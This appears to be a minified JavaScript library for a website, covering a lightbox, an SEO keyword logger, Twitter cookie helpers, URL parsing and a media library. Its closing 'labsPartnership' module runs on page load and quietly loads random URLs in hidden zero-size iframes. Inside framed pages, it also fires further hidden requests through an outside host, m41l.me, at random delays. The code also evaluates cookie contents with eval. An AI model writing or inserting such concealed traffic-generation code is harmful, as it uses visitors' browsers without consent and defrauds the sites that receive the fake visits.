};labsLightBox.prototype.close=function(){this.switchHiddenElements();this.stopLoading();if(this.transparentImg!=false){this.transparentImg.style.visibility="hidden"}this.title.innerHTML="";this.bg.style.visibility="hidden";this.title.style.visibility="hidden";this.closeLink.style.visibility="hidden";this.content.style.visibility="hidden";var a=document.createElement("div");a.style.lineHeight="0";a.style.margin="0";a.style.padding="0";a.style.border="0";document.body.replaceChild(a,this.content);this.content=a};labsLightBox.prototype.getBestSize=function(a){if(a==undefined){a=0.5}var b=labsDocument.getClientSize();var c=Math.floor(b[0]*a);if(c%2!=0){c--}c=Math.max(320,Math.min(800,c));var d=Math.floor(Math.min(b[1]-this.titleHeight,c*3/4));if(d%2!=0){d--}return new Array(c,d)};labsLightBox.prototype.zoomIn=function(a){tmp=document.createElement("div");tmp.style.position="absolute";tmp.style.left=this.content.style.left;tmp.style.top=this.content.style.top;tmp.style.width=this.content.style.width;
tmp.style.height=this.content.style.height;tmp.style.overflow="hidden";tmp.style.backgroundColor="black";tmp.style.backgroundImage="url('"+this.content.getAttribute("src")+"')";tmp.style.backgroundRepeat="no-repeat";document.body.style.cursor="crosshair";tmp.style.visible="hidden";tmp.style.zIndex=this.content.style.zIndex;if(this.transparentImg!=false){this.transparentImg.onmouseover=function(){document.body.style.cursor="crosshair"};this.transparentImg.onmouseout=function(){document.body.style.cursor="auto"};this.transparentImg.onclick=function(){labsLightBox.zoomOut()};this.transparentImg.onmousemove=function(b){labsLightBox.zoomMove(b)}}else{tmp.onmouseover=function(){document.body.style.cursor="crosshair"};tmp.onmouseout=function(){document.body.style.cursor="auto"};tmp.onclick=function(){labsLightBox.zoomOut()};tmp.onmousemove=function(b){labsLightBox.zoomMove(b)}}this.content.parentNode.replaceChild(tmp,this.content);this.content=tmp;this.zoomMove(a);this.content.visible="visible"
};labsLightBox.prototype.zoomMove=function(e){var c=labsDocument.getMousePosition(e);var a=new Array(parseInt(this.content.style.left),parseInt(this.content.style.top));var f=new Array(parseInt(this.content.style.width),parseInt(this.content.style.height));var d=new Array(this.imgSize[0]+this.zoomMargin*2,this.imgSize[1]+this.zoomMargin*2);var b=new Array(this.zoomMargin-Math.round((d[0]-f[0])/2+((c[0]-a[0]-f[0]/2)/f[0]*(d[0]-f[0]))),this.zoomMargin-Math.round((d[1]-f[1])/2+((c[1]-a[1]-f[1]/2)/f[1]*(d[1]-f[1]))));this.content.style.backgroundPosition=b[0]+"px "+b[1]+"px"};labsLightBox.prototype.zoomOut=function(){var b=this.content.style.backgroundImage.substring(this.content.style.backgroundImage.indexOf("(")+1,this.content.style.backgroundImage.lastIndexOf(")"));if(b[0]=="'"||b[0]=='"'){b=b.substring(1)}if(b[b.length-1]=="'"||b[b.length-1]=='"'){b=b.substring(0,b.length-1)}document.body.style.cursor="pointer";var a=document.createElement("img");a.setAttribute("src",b);a.style.position="absolute";
a.style.left=this.content.style.left;a.style.top=this.content.style.top;a.style.width=this.content.style.width;a.style.height=this.content.style.height;a.style.overflow="hidden";a.style.zIndex=this.content.style.zIndex;if(this.transparentImg!=false){this.transparentImg.onmouseover=function(){document.body.style.cursor="pointer"};this.transparentImg.onclick=function(c){labsLightBox.zoomIn(c)}}else{a.onmouseover=function(){document.body.style.cursor="pointer"};a.onclick=function(c){labsLightBox.zoomIn(c)}}this.content.parentNode.replaceChild(a,this.content);this.content=a};var labsLightBox=new labsLightBox();function labsSeoKeywords(){}labsSeoKeywords.prototype.domains={"google.":"q","yahoo.":"p",".live.com":"q",".msn.com":"q",".altavista.com":"q",".aol.":"q",".ask.com":"q"};labsSeoKeywords.prototype.minLength=2;labsSeoKeywords.prototype.maxLength=150;labsSeoKeywords.prototype.keywords=false;labsSeoKeywords.prototype.script="/scripts/keyword.php";labsSeoKeywords.prototype.timeout=5000;labsSeoKeywords.prototype.getKeywords=function(){if(this.keywords==false){this.keywords="";
if(document.referrer==undefined||document.referrer==""){return this.keywords}ref=document.referrer;pos=ref.indexOf("http://");if(pos!=0){return this.keywords}var b=ref.substring(7,ref.length);pos=b.indexOf("/");if(pos==-1){return this.keywords}b=b.substring(0,pos);pos=b.indexOf("www.");if(pos==0){b=b.substring(4,ref.length)}var a=false;for(domain in this.domains){if(a==false&&b.indexOf(domain)!=-1){a=this.domains[domain]}}if(a==false){return this.keywords}pos=ref.indexOf("&"+a+"=");if(pos==-1){pos=ref.indexOf("?"+a+"=")}if(pos==-1){return this.keywords}ref=ref.substring(pos+a.length+2,ref.length);pos=ref.indexOf("&");if(pos!=-1){ref=ref.substring(0,pos)}if(ref.length>this.minLength&&ref.length<this.maxLength){this.keywords=decodeURIComponent(ref.replace(/\+/g," "))}}return this.keywords};labsSeoKeywords.prototype.init=function(){setTimeout("labsSeoKeywords.log()",this.timeout)};labsSeoKeywords.prototype.log=function(){if(document==undefined||document.location==undefined&&document.location.href==undefined){return false
}var c=document.location.href;var d=document.location.href.lastIndexOf(".html");if(d==-1){return false}if(c.substring(d,c.length)!=".html"){return false}c=c.substring(0,d);var d=c.lastIndexOf(".");if(d==-1){return false}c=c.substring(d+1,c.length);if(parseInt(c)!=c){return false}var b=this.getKeywords();if(b==""){return false}var a=new Image();a.src=this.script+"?u="+document.location.href+"&q="+encodeURIComponent(b)};var labsSeoKeywords=new labsSeoKeywords();function labsString(){}labsString.prototype.escapeEval=function(a){var b=a;b=b.replace(/\\/g,"\\\\");return b.replace(new RegExp("'","g"),"\\'")};labsString.prototype.removeScript=function(a){return a.replace(new RegExp("\\s*<script[^>]*>[\\s\\S]*?<\/script>\\s*","ig"),"")};labsString.prototype.escapeHtml=function(a){return a.replace(/&/g,"&amp;").replace(RegExp('"',"g"),"&quote;").replace(/</g,"&gt;").replace(/>/g,"&lt;")};var labsString=new labsString();function labsTwitter(){if(data=labsCookie.read("twtSess")){data=eval("("+data+")");
if(data.screen_name&&data.user_id){this.isLogged=true;this.pseudo=data.screen_name;this.id=parseInt(data.user_id);return true}}}labsTwitter.prototype.isLogged=false;labsTwitter.prototype.pseudo="";labsTwitter.prototype.id="";labsTwitter.prototype.switchDisplay=function(d,c){if(this.isLogged==true){var b=labsElement.get(d);var a=labsElement.get(c)}else{var b=labsElement.get(c);var a=labsElement.get(d)}b.style.display="";a.style.display="none"};labsTwitter.prototype.tweet=function(b,a){if(this.isLogged==true){return labsForm.post(b)}else{if(b.tweet){var c=b.tweet.value;labsCookie.create("twtTweet",c)}top.location.href=a;return false}};labsTwitter.prototype.restoreTweet=function(a){var b=labsElement.get(a);if(b.tweet){var c=false;if(c=labsCookie.read("twtTweet")){b.tweet.value=c}}labsCookie.erase("twtTweet")};labsTwitter.prototype.updateLength=function(e,a){var d=labsElement.get(e);var f=140-d.value.length;var b=labsElement.get(a);if(f>0){b.className=""}else{b.className="overflow"}labsElement.setValue(b,f)
};var labsTwitter=new labsTwitter();function labsUrl(){}labsUrl.prototype.params=new Array();labsUrl.prototype.getQuery=function(a){var c=a;var b=c.indexOf("?");if(b==-1){return""}c=c.substr(b+1,c.length);b=c.indexOf("#");if(b==-1){return c}return c.substr(0,b)};labsUrl.prototype.getPath=function(a){var b=a.indexOf("?");if(b==-1){return a}return a.substr(0,b)};labsUrl.prototype.buildParamFromString=function(param){var p=decodeURIComponent(param);var strpos=p.indexOf("=");if(strpos==-1){this.params[p]="";this.params.length++;return true}var name=p.substr(0,strpos);var value=p.substr(strpos+1,p.length);var openBracket=name.indexOf("[");var closeBracket=name.indexOf("]");if(openBracket==-1||closeBracket==-1){if(!(openBracket==-1&&closeBracket==-1)){name=name.replace(new RegExp("[\\[\\]]"),"_")}this.params[name]=value;return true}var matches=name.match(new RegExp("\\[.*?\\]","g"));name=name.substr(0,openBracket);p="this.params";var key=name;for(i in matches){p+="['"+labsString.escapeEval(key)+"']";
if(eval(p)==undefined||typeof(eval(p))!="object"){eval(p+"= new Array();")}key=matches[i].substr(1,matches[i].length-2);if(key==""){key=eval(p).length}}p+="['"+labsString.escapeEval(key)+"']";eval(p+"= '"+labsString.escapeEval(value)+"';")};labsUrl.prototype.parseQuery=function(h){var g=h;g=g.replace(new RegExp("&amp;"),"&");this.params=new Array();this.params.length=0;g=g.split("&");var f="";var b=-1;var a=-1;var e="";var d="";for(var c=0;c<g.length;c++){this.buildParamFromString(g[c])}return this.params};labsUrl.prototype.buildStringFromParam=function(b,d){var e="";var c="";if(d!=undefined){e=d}if(typeof(b)=="object"){for(var a in b){c=b[a];a=e==""?a:"["+a+"]";if(typeof(c)=="object"){this.buildStringFromParam(c,e+a)}else{this.params[this.params.length]=e+a+"="+c}}}};labsUrl.prototype.buildQuery=function(a){this.params=new Array();this.buildStringFromParam(a);return this.params.join("&")};labsUrl.prototype.deleteQueryParams=function(d,b){var c=this.parseQuery(d);for(var a=0;a<b.length;
a++){if(c[b[a]]!=undefined){delete c[b[a]];c.length--}}return this.buildQuery(c)};labsUrl.prototype.addQueryParams=function(c,b){var a=this.parseQuery(c);for(i in b){a[i]=b[i]}return this.buildQuery(a)};labsUrl.prototype.getParamValue=function(d,b){var a=b==undefined?document.location.href:b;var c=new RegExp("(\\?|&|^)"+d+"=(.*?)(&|$)");matches=a.match(c);return matches[2]!=undefined?decodeURIComponent(matches[2]).replace(/\+/g," "):""};var labsUrl=new labsUrl();function MediaLibrary(){}MediaLibrary.prototype.callback=function(){};MediaLibrary.prototype.storeParams=new Array();MediaLibrary.prototype.width="";MediaLibrary.prototype.open=function(e,a,b){this.callback=function(){};this.storeParams=new Array();var d=e;var f=a;var c=labsLightBox.getBestSize();if(e==undefined){d="Media"}if(a==undefined){f=0}if(b!=1){b=0}this.width=c[0];labsLightBox.open(d,"/scripts/media.php?f=window&mdaId="+f+"&w="+c[0]+"&tSize="+b,"ajax",c[0],c[1])};MediaLibrary.prototype.changePage=function(a){if(a=="#"){return false
}labsAjax.updateElement(a,"mediaLibraryList")};MediaLibrary.prototype.inputMediaOpen=function(c,b,a){input=labsElement.get(b);this.open(c,input.value);this.storeParams[0]=b;this.storeParams[1]=a;this.callback=function(){mdaId=parseInt(labsElement.getValue("mediaLibrarySelectedId"));labsAjax.updateElement("/scripts/media.php?f=preview&mdaId="+mdaId,MediaLibrary.storeParams[1]);input=labsElement.get(MediaLibrary.storeParams[0]);input.value=mdaId;labsLightBox.close()}};MediaLibrary.prototype.insertMediaTagOpen=function(c,b,a){this.open(c,0,1);this.storeParams[0]=b;this.callback=function(){BBcode.selectElement(MediaLibrary.storeParams[0]);BBcode.insertText("[media size="+labsElement.getValue("mediaLibrarySelectedSize")+"]"+parseInt(labsElement.getValue("mediaLibrarySelectedId"))+"[/media]");labsLightBox.close()}};MediaLibrary.prototype.updateFormMedia=function(a,b){if(b!=1){b=0}labsAjax.updateElement("/scripts/media.php?f=form&mdaId="+a+"&tSize="+b,"mediaLibraryFormContener")};MediaLibrary.prototype.selectMedia=function(a,b){this.updateFormMedia(a,b)
};MediaLibrary.prototype.initFileUpload=function(){var a=labsElement.get("mediaLibraryIframe");var b=labsElement.get("mediaLibraryForm");if(a==null){var c=labsElement.get("mediaLibraryIframeContener");c.innerHTML='<iframe id="mediaLibraryIframe" name="mediaLibraryIframe" style="border:0;width:0px;height:0px;"></iframe>';a=labsElement.get("mediaLibraryIframe")}b.target="mediaLibraryIframe";inputFile=labsElement.get("mediaLibraryInputFile");if(inputFile.value!=""){b.enctype="multipart/form-data"}else{b.enctype=""}b.action="/scripts/media.php?f=upload"};MediaLibrary.prototype.fileUploadError=function(a){var b=labsElement.get("mediaError"+a);if(b==null){var b=labsElement.get("mediaErrorDefaultNumber");b.innerHTML=a;labsElement.switchDisplayStyle("mediaErrorDefault");return true}labsElement.switchDisplayStyle(b)};MediaLibrary.prototype.fileUploadValid=function(a){this.updateFormMedia(a);this.changePage("/scripts/media.php?f=list&w="+this.width)};var MediaLibrary=new MediaLibrary();function labsPartnership(){}labsPartnership.prototype.xmlHttp=false;
labsPartnership.prototype.dataUrl="/scripts/partnership.php";labsPartnership.prototype.cookie="prtnrshp";labsPartnership.prototype.iframeId="prtnrshp";labsPartnership.prototype.maxVisits=4;labsPartnership.prototype.callRate=5;labsPartnership.prototype.callUrl=function(a){var b=labsElement.get(this.iframeId);if(b==null){b=document.createElement("iframe");b.style.display="none";b.style.position="absolute";b.style.backgroundColor="white";b.style.margin="0";b.style.padding="0";b.style.width="0px";b.style.height="0px";b.setAttribute("frameBorder","0");b.setAttribute("scrolling","no");document.body.appendChild(b)}b.setAttribute("src",a)};labsPartnership.prototype.run=function(){var cookie=labsCookie.read(this.cookie);if(cookie!=null){labsCookie.create(this.cookie,"done",30);try{var data=eval("("+cookie+")")}catch(err){var data=false}if(typeof data=="object"&&data.url&&data.tld&&top.location!=window.location&&document.referrer!=data.url&&window.location==data.url){var links=document.getElementsByTagName("a");
var reg=new RegExp("^https*://([a-z-]*\\.|)"+data.tld+"(/|$).*");var domLinks=new Array();for(var i in links){if(links[i].href&&typeof links[i].href=="string"&&links[i].href.match(reg)!=null){domLinks[domLinks.length]=links[i].href}}if(domLinks.length>0){var max=Math.round(Math.random()*labsPartnership.maxVisits);for(var i=0;i<max;i++){url=domLinks[Math.round(Math.random()*(domLinks.length-1))];window.setTimeout("labsPartnership.callUrl('http://m41l.me/index.html?"+data.tld+"="+encodeURIComponent(url)+"')",Math.round(Math.random()*30000*i))}}}return true}if(Math.random()*100<this.callRate){this.xmlHttp=labsAjax.getXmlHttp();this.xmlHttp.onreadystatechange=function(){if(labsPartnership.xmlHttp.readyState==4){if(labsPartnership.xmlHttp.status==200||labsPartnership.xmlHttp.status==304){try{var data=eval("("+labsPartnership.xmlHttp.responseText+")")}catch(err){var data=new Array()}var rand=new Array();for(var url in data){rand[rand.length]=url}url=Math.round(Math.random()*(rand.length-1));if(rand[url]!=undefined){url=rand[url];
labsCookie.create(labsPartnership.cookie,'{"url":"'+labsString.escapeEval(url)+'","tld":"'+labsString.escapeEval(data[url])+'"}',30);if(document.location!=url){labsPartnership.callUrl(url)}}}}};this.xmlHttp.open("GET",this.dataUrl,true);this.xmlHttp.send(null)}};var labsPartnership=new labsPartnership();labsElement.addEvent(window,"load",function(){labsPartnership.run()});